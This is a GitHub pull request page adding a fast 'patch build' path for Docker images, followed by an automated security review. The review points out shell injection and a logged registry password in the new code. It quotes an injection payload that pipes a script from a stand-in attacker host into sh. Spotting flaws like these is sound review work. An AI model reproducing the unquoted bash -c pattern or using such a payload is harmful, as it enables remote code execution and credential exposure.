Skip to content

feat(build): Quick builds (backport #527)#531

Open
mergify[bot] wants to merge 13 commits into
masterfrom
mergify/bp/master/pr-527
Open

feat(build): Quick builds (backport #527)#531
mergify[bot] wants to merge 13 commits into
masterfrom
mergify/bp/master/pr-527

Conversation

@mergify
Copy link
Copy Markdown
Contributor

@mergify mergify Bot commented Jun 2, 2026

Fast delta builds


This is an automatic backport of pull request #527 done by Mergify.

@greptile-apps
Copy link
Copy Markdown

greptile-apps Bot commented Jun 2, 2026

Greptile Summary

This PR introduces PatchImageBuilder, a fast "delta build" path that starts from an existing base image, updates specific app directories inside a running container via git fetch/checkout, optionally reinstalls Python deps and rebuilds frontend assets, then commits a new image — avoiding a full Docker rebuild.

  • agent/builder.py: New PatchBuildAppInfo TypedDict and PatchImageBuilder class with steps for pulling updates, detecting dependency/UI changes, and committing/pushing the patched image.
  • agent/web.py: New POST /builder/patch_build endpoint that wires the request body to PatchImageBuilder and enqueues the job, mirroring the existing /builder/build pattern.

Confidence Score: 2/5

Not safe to merge as-is — two security-relevant defects need to be addressed before this goes to production.

The new builder passes user-supplied url, hash, and app values from the POST body directly into bash -c command strings without quoting each token, so shell metacharacters in any of those fields execute arbitrary commands inside the container. Separately, the registry password is embedded in the docker login CLI call, where Base.execute() records and logs the full command string, leaking the credential into step records. Together these two issues affect the core hot path of the feature.

agent/builder.py — specifically _pull_app, _has_ui_changes, _has_dependency_changes, _reinstall_app_deps, _bench_build_app, and _start_base_container.

Security Review

  • Shell injection (agent/builder.py, _pull_app / _has_ui_changes / _has_dependency_changes / _reinstall_app_deps / _bench_build_app): url, new_hash, and app from the POST request body are interpolated directly into command strings passed to bash -c inside the container. shlex.quote is applied only to the outer shell argument, not to individual variables, so shell metacharacters in any of these fields are executed by bash.
  • Registry password in step logs (agent/builder.py, _start_base_container): The registry password is passed as -p <password> on the docker login command line. Base.execute() records the full command string in self.data[\"command\"] and logs it, exposing the credential in the step record.

Important Files Changed

Filename Overview
agent/builder.py Adds PatchImageBuilder for fast delta builds; contains shell-injection risk in _pull_app and related helpers (unquoted url/hash/app inside bash -c), registry password logged in plaintext via the command field, and incomplete UI-change detection (TypeScript files not covered).
agent/web.py Adds /builder/patch_build POST endpoint wiring PatchImageBuilder; mirrors the existing /builder/build pattern and carries no additional issues beyond what the builder itself introduces.

Sequence Diagram

sequenceDiagram
    participant Client
    participant web.py
    participant PatchImageBuilder
    participant Docker

    Client->>web.py: POST /builder/patch_build
    web.py->>PatchImageBuilder: __init__(base_image, registry, patch_build_app_instructions, ...)
    web.py->>PatchImageBuilder: run_patch_build() [enqueued as RQ job]

    PatchImageBuilder->>Docker: docker login (registry)
    PatchImageBuilder->>Docker: docker pull base_image
    PatchImageBuilder->>Docker: docker run -d (container)

    loop for each app in patch_build_app_instructions
        PatchImageBuilder->>Docker: docker exec — git rev-parse HEAD (old_hash)
        PatchImageBuilder->>Docker: docker exec — git fetch + checkout (new_hash)
        alt dependency changes detected
            PatchImageBuilder->>Docker: docker exec — pip install -e app
        end
        alt UI changes detected
            PatchImageBuilder->>Docker: docker exec — bench build --app
        end
    end

    PatchImageBuilder->>Docker: docker commit (new image tag)
    PatchImageBuilder->>Docker: docker push (image repository)
    PatchImageBuilder->>Docker: docker rm -f (cleanup container)
    web.py-->>Client: "{job: job_id}"
Loading

Reviews (1): Last reviewed commit: "fix(build): Ensure supervisord is runnin..." | Re-trigger Greptile

Comment thread agent/builder.py
Comment on lines +821 to +842
def _pull_app_updates(self):
for patch_build_app_info in self.patch_build_app_instructions:
self._pull_app(patch_build_app_info)
self._publish_throttled_output(True)
return self.output["build"]

def _pull_app(self, patch_build_app_info: PatchBuildAppInfo):
app = patch_build_app_info["app"]
url = patch_build_app_info["url"]
new_hash = patch_build_app_info["hash"]
app_path = f"/home/frappe/frappe-bench/apps/{app}"
old_hash = self._docker_exec(f"git -C {app_path} rev-parse HEAD", publish=False).strip()
self._docker_exec(f"git -C {app_path} fetch --depth 1 {url} {new_hash}")
self._docker_exec(f"git -C {app_path} reset --hard HEAD")
self._docker_exec(f"git -C {app_path} clean -fd")
self._docker_exec(f"git -C {app_path} checkout {new_hash}")

if self._has_dependency_changes(app_path, old_hash, new_hash):
self._reinstall_app_deps(app)

if self._has_ui_changes(app_path, old_hash, new_hash):
self._bench_build_app(app)
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1 security Shell injection via unquoted user-supplied values in bash -c

_docker_exec wraps the entire command in shlex.quote() before the outer shell sees it, but that quoted string is still handed verbatim to bash -c, so any shell metacharacter in url, new_hash, or app (which all come from the request body) is executed by bash inside the container. A url value of https://x.git && curl attacker.com|sh would produce bash -c 'git -C … fetch … https://x.git && curl attacker.com|sh …' and the injected command runs. The same problem exists in _has_ui_changes, _has_dependency_changes, _reinstall_app_deps, and _bench_build_app. Every user-controlled variable interpolated into these command strings must be wrapped with shlex.quote() before being embedded.

Comment thread agent/builder.py
Comment on lines +811 to +816
self.execute(
f"docker login "
f"-u {self.registry['username']} "
f"-p {self.registry['password']} "
f"{self.registry['url']}"
)
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1 security Registry password stored in step logs via command field

Base.execute() calls get_execution_result(command, …) which stores the full command string in self.data["command"], then immediately calls self.log() — persisting the command (including the plaintext password) in the step record. This is different from ImageBuilder._push_docker_image(), which uses the Docker SDK (docker.from_env()) and never puts credentials on a command line. Passing the password via --password-stdin avoids the leak.

Suggested change
self.execute(
f"docker login "
f"-u {self.registry['username']} "
f"-p {self.registry['password']} "
f"{self.registry['url']}"
)
self.execute(
f"echo {shlex.quote(self.registry['password'])} | "
f"docker login --username {shlex.quote(self.registry['username'])} "
f"--password-stdin "
f"{shlex.quote(self.registry['url'])}"
)

Comment thread agent/builder.py
Comment on lines +846 to +849
out = self._docker_exec(
f"git -C {app_path} diff --name-only {old_hash} {new_hash} -- '*.vue' '*.js' '*.jsx'",
publish=False,
)
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1 TypeScript files excluded from UI change detection

_has_ui_changes only watches *.vue, *.js, and *.jsx. Modern Frappe apps commonly use *.ts and *.tsx (e.g. desk, hrms). A commit that touches only TypeScript files passes this check as False, skipping bench build and leaving stale compiled assets in the image.

Suggested change
out = self._docker_exec(
f"git -C {app_path} diff --name-only {old_hash} {new_hash} -- '*.vue' '*.js' '*.jsx'",
publish=False,
)
out = self._docker_exec(
f"git -C {app_path} diff --name-only {old_hash} {new_hash} -- '*.vue' '*.js' '*.jsx' '*.ts' '*.tsx'",
publish=False,
)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant